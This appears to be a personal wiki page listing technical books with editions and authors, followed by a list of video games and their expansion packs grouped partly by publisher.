|GDB Pocket Reference|First|Robbins|X|
|Gnuplot in Action|First|Janert|X|
|Nginx HTTP Server|First|Nedelcu|X|
|Postgres 9.0 High Performance|First|Smith|X|
|Apache Solr 3 Enterprise Search Server|Second|Smiley, Pugh|X|
|Hadoop The Definitive Guide|Second|White||
* ~BioShock
* ~BioShock 2
** Minerva's Den
* ~BioShock Infinite
* Borderlands 2
** Mechromancer Pack
** Captain Scarlett and Her Pirate's Booty
** Mr. Torgue's Campaign of Carnage
** Sir Hammerlock's Big Game Hunt

* Dishonored
** Dunwall City Trials
** Knife of Dunwall

* Gears of War
* Gears of War 2
* Gears of War 3
**RAAM's Shadow
* Gears of War Judgement

!!Namco Bandai
* Dark Souls
** Artorias Of The Abyss

!!Square Enix
* Deus Ex: Human Revolution
** Explosive Mission/Tactical Enhancement Pack
** Missing Link

* Far Cry 3: Blood Dragon

* Portal 2
** Peer Review

* Super Puzzle Fighter II Turbo HD Remix
* Minecraft